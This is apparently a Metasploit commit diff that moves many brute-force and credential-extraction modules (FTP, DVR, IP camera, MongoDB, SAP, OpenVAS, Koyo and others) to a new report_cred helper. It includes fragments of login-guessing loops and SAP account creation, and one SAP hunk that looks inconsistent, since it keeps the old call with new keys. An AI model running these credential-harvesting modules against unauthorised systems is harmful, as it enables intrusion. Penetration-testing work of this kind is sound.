print_good("#{peer} - Successful login '#{user}' password: '#{pass}'")
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:proto => 'http',
|
||||
:sname => 'typo3',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:target_host => rhost,
|
||||
:target_port => rport
|
||||
})
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'typo3',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: cookie
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{peer} - failed to login as '#{user}' password: '#{pass}'")
|
||||
|
||||
@@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -119,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
vprint_status("#{peer} - Username found: #{user}")
|
||||
when /\<a href="process\.php\?logout=1"\>/
|
||||
print_good("#{peer} - Successful login: \"#{user}:#{pass}\"")
|
||||
report_cred(ip: rhost, port: rport, user:user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user:user, password: pass, proof: res.body)
|
||||
return :next_user
|
||||
end
|
||||
end
|
||||
|
||||
@@ -151,6 +151,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -205,7 +206,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Report valid credentials under the CCTV DVR admin port (5920/TCP).
|
||||
# This is a proprietary protocol.
|
||||
report_cred(ip: rhost, port: rport, user:user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user:user, password: pass, proof: res.inspect)
|
||||
|
||||
@valid_hosts << rhost
|
||||
return :next_user
|
||||
|
||||
@@ -138,14 +138,40 @@ class Metasploit3 < Msf::Auxiliary
|
||||
return
|
||||
end
|
||||
|
||||
report_auth_info({
|
||||
:host => server,
|
||||
:port => port,
|
||||
:sname => 'ftp',
|
||||
:duplicate_ok => false,
|
||||
:user => user,
|
||||
:pass => password
|
||||
})
|
||||
report_cred(
|
||||
ip: server,
|
||||
port: port,
|
||||
service_name: 'ftp',
|
||||
user: user,
|
||||
password: password,
|
||||
proof: conf.inspect
|
||||
)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def get_dvr_credentials(conf)
|
||||
|
||||
@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SNMPClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
@@ -37,6 +38,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
datastore['RPORT'] = @org_rport
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@org_rport = datastore['RPORT']
|
||||
datastore['RPORT'] = datastore['SNMPPORT']
|
||||
@@ -80,12 +108,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
case response
|
||||
when "200"
|
||||
print_good("#{rhost}:#{datastore['HTTPPORT']} logged in as: admin/#{last_six}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => datastore['HTTPPORT'],
|
||||
:proto => "tcp",
|
||||
:user => 'admin',
|
||||
:pass => last_six
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: datastore['HTTPPORT'],
|
||||
service_name: 'http',
|
||||
user: 'admin',
|
||||
password: last_six,
|
||||
proof: response.inspect
|
||||
)
|
||||
when "401"
|
||||
print_error("Default credentials failed")
|
||||
|
||||
@@ -37,6 +37,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||
register_options( [ Opt::RPORT(9000) ], self.class)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
req =
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +
|
||||
@@ -76,14 +102,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if creds.keys.length > 0
|
||||
creds.keys.sort.each do |user|
|
||||
pass = creds[user]
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'dvr',
|
||||
:duplicate_ok => false,
|
||||
:user => user,
|
||||
:pass => pass
|
||||
})
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'dvr',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: pass
|
||||
)
|
||||
info << "(user='#{user}' pass='#{pass}') "
|
||||
end
|
||||
end
|
||||
|
||||
@@ -80,16 +80,43 @@ class Metasploit3 < Msf::Auxiliary
|
||||
#Store the password if the parser returns something
|
||||
if password
|
||||
print_status("Password retrieved: #{password.to_s}")
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'ipcam',
|
||||
:duplicate_ok => false,
|
||||
:pass => password,
|
||||
})
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'ipcam',
|
||||
user: '',
|
||||
password: password,
|
||||
proof: password
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def parse_reply(pkt)
|
||||
@results ||= {}
|
||||
|
||||
|
||||
@@ -120,21 +120,47 @@ class Metasploit3 < Msf::Auxiliary
|
||||
response = sock.recv(1024)
|
||||
unless have_auth_error?(response)
|
||||
print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'")
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'mongodb',
|
||||
:user => user,
|
||||
:pass => password,
|
||||
:source_type => 'user_supplied',
|
||||
:active => true
|
||||
})
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'mongodb',
|
||||
user: user,
|
||||
password: password,
|
||||
proof: response.inspect
|
||||
)
|
||||
return :next_user
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def get_nonce
|
||||
request_id = Rex::Text.rand_text(4)
|
||||
packet = "\x3d\x00\x00\x00" # messageLength (61)
|
||||
|
||||
@@ -66,23 +66,47 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def do_login(user='msf', pass='msf')
|
||||
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
|
||||
begin
|
||||
res = @rpc.login(user, pass)
|
||||
if res
|
||||
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'msf-rpc',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'msf-rpc',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.body
|
||||
)
|
||||
@rpc.close
|
||||
return :next_user
|
||||
end
|
||||
|
||||
@@ -124,16 +124,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
else
|
||||
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'msf-web',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'msf-web',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.headers['Location']
|
||||
)
|
||||
return :next_user
|
||||
end
|
||||
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
|
||||
@@ -141,4 +139,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||
return :abort
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -64,6 +64,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def do_login(user=nil,pass=nil)
|
||||
begin
|
||||
ntp_send("< NTP/1.0 >\n",true) # send hello
|
||||
@@ -84,15 +111,15 @@ class Metasploit3 < Msf::Auxiliary
|
||||
ntp_send("#{pass}\n",!@connected)
|
||||
if @result =~ /SERVER <|>.*<|> SERVER/is
|
||||
print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'nessus-ntp',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'nessus-ntp',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: @result
|
||||
)
|
||||
|
||||
disconnect
|
||||
@connected = false
|
||||
return :next_user
|
||||
|
||||
@@ -66,6 +66,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def do_login(user='nxadmin', pass='nxadmin')
|
||||
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
|
||||
headers = {
|
||||
@@ -100,16 +127,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if res.body =~ /LoginResponse.*success="1"/
|
||||
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'nexpose',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'nexpose',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.code.to_s
|
||||
)
|
||||
return :next_user
|
||||
end
|
||||
end
|
||||
|
||||
@@ -101,22 +101,46 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if res.code == 303
|
||||
print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
|
||||
report_hash = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'openvas-gsa',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: datastore['RHOST'],
|
||||
port: datastore['RPORT'],
|
||||
service_name: 'openvas-gsa',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.code.to_s
|
||||
)
|
||||
return :next_user
|
||||
end
|
||||
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
|
||||
return :skip_pass
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def msg
|
||||
"#{vhost}:#{rport} OpenVAS gsad -"
|
||||
end
|
||||
|
||||
@@ -60,6 +60,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def do_login(user=nil,pass=nil)
|
||||
begin
|
||||
vprint_status("#{msg} Trying user:'#{user}' with password:'#{pass}'")
|
||||
@@ -67,14 +94,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
omp_send(cmd,true) # send hello
|
||||
if @result =~ /<authenticate_response.*status="200"/is
|
||||
print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'openvas-omp',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'openvas-omp',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: @result
|
||||
)
|
||||
disconnect
|
||||
@connected = false
|
||||
|
||||
@@ -61,6 +61,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def do_login(user=nil,pass=nil)
|
||||
begin
|
||||
otp_send("< OTP/1.0 >\n",true) # send hello
|
||||
@@ -81,14 +108,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
otp_send("#{pass}\n",!@connected)
|
||||
if @result =~ /SERVER <|>.*<|> SERVER/is
|
||||
print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'openvas-otp',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:source_type => "user_supplied",
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'openvas-otp',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: @result
|
||||
)
|
||||
disconnect
|
||||
@connected = false
|
||||
|
||||
@@ -52,6 +52,32 @@ class Metasploit4 < Msf::Auxiliary
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
data = '<?xml version="1.0" encoding="utf-8" ?>'
|
||||
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
|
||||
@@ -99,12 +125,12 @@ class Metasploit4 < Msf::Auxiliary
|
||||
else
|
||||
print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created")
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:sname => "sap",
|
||||
:user => "#{datastore['BAPI_USER']}",
|
||||
:pass => "#{datastore['BAPI_PASSWORD']}",
|
||||
:active => true
|
||||
ip: ip,
|
||||
port: rport,
|
||||
service_name: 'sap',
|
||||
user: datastore['BAPI_USER'],
|
||||
password: datastore['BAPI_PASSWORD'],
|
||||
proof: res.body
|
||||
)
|
||||
return
|
||||
end
|
||||
|
||||
@@ -101,6 +101,33 @@ class Metasploit4 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def bruteforce(username,password,client)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
|
||||
@@ -132,15 +159,13 @@ class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
if res && res.code == 200 && res.body.include?('RFC_PING')
|
||||
print_good("#{peer} [SAP] Client #{client}, valid credentials #{username}:#{password}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => "sap",
|
||||
:proto => "tcp",
|
||||
:user => username,
|
||||
:pass => password,
|
||||
:proof => "SAP Client: #{client}",
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'sap',
|
||||
user: username,
|
||||
password: password,
|
||||
proof: "SAP Client: #{client}"
|
||||
)
|
||||
return true
|
||||
end
|
||||
|
||||
@@ -107,6 +107,33 @@ class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def bruteforce(uri,user,pass,cli)
|
||||
begin
|
||||
path = "sap/bc/gui/sap/its/webgui/"
|
||||
@@ -134,30 +161,26 @@ class Metasploit4 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
if res and res.code == 302
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => "sap_webgui",
|
||||
:proto => "tcp",
|
||||
:user => "#{user}",
|
||||
:pass => "#{pass}",
|
||||
:proof => "SAP Client: #{cli}",
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'sap_webgui',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: "SAP Client: #{cli}"
|
||||
)
|
||||
return true
|
||||
elsif res and res.code == 200
|
||||
if res.body =~ /log on again/
|
||||
return false
|
||||
elsif res.body =~ /<title>Change Password - SAP Web Application Server<\/title>/
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => "sap_webgui",
|
||||
:proto => "tcp",
|
||||
:user => "#{user}",
|
||||
:pass => "#{pass}",
|
||||
:proof => "SAP Client: #{cli}",
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'sap_webgui',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: "SAP Client: #{cli}"
|
||||
)
|
||||
return true
|
||||
elsif res.body =~ /Password logon no longer possible - too many failed attempts/
|
||||
|
||||
@@ -114,19 +114,45 @@ class Metasploit3 < Msf::Auxiliary
|
||||
next if not res
|
||||
|
||||
print_good "#{rhost}:#{rport} - KOYO - Found passcode: #{passcode}"
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport.to_i,
|
||||
:proto => 'udp',
|
||||
:user => '',
|
||||
:pass => passcode, # NOTE: Human readable
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport.to_i,
|
||||
service_name: 'koyo',
|
||||
user: '',
|
||||
password: passcode,
|
||||
proof: res
|
||||
)
|
||||
break
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'udp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def crc16(buf, crc=0)
|
||||
buf.each_byte{|x| crc = ((crc << 8) ^ @@CCITT_16[( crc >> 8) ^ x]) & 0xffff }
|
||||
[crc].pack("v")
|
||||
|
||||
@@ -140,13 +140,26 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def do_report(ip, user, port)
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:sname => 'ssh',
|
||||
:user => user,
|
||||
:active => true
|
||||
)
|
||||
service_data = {
|
||||
address: ip,
|
||||
port: rport,
|
||||
service_name: 'ssh',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
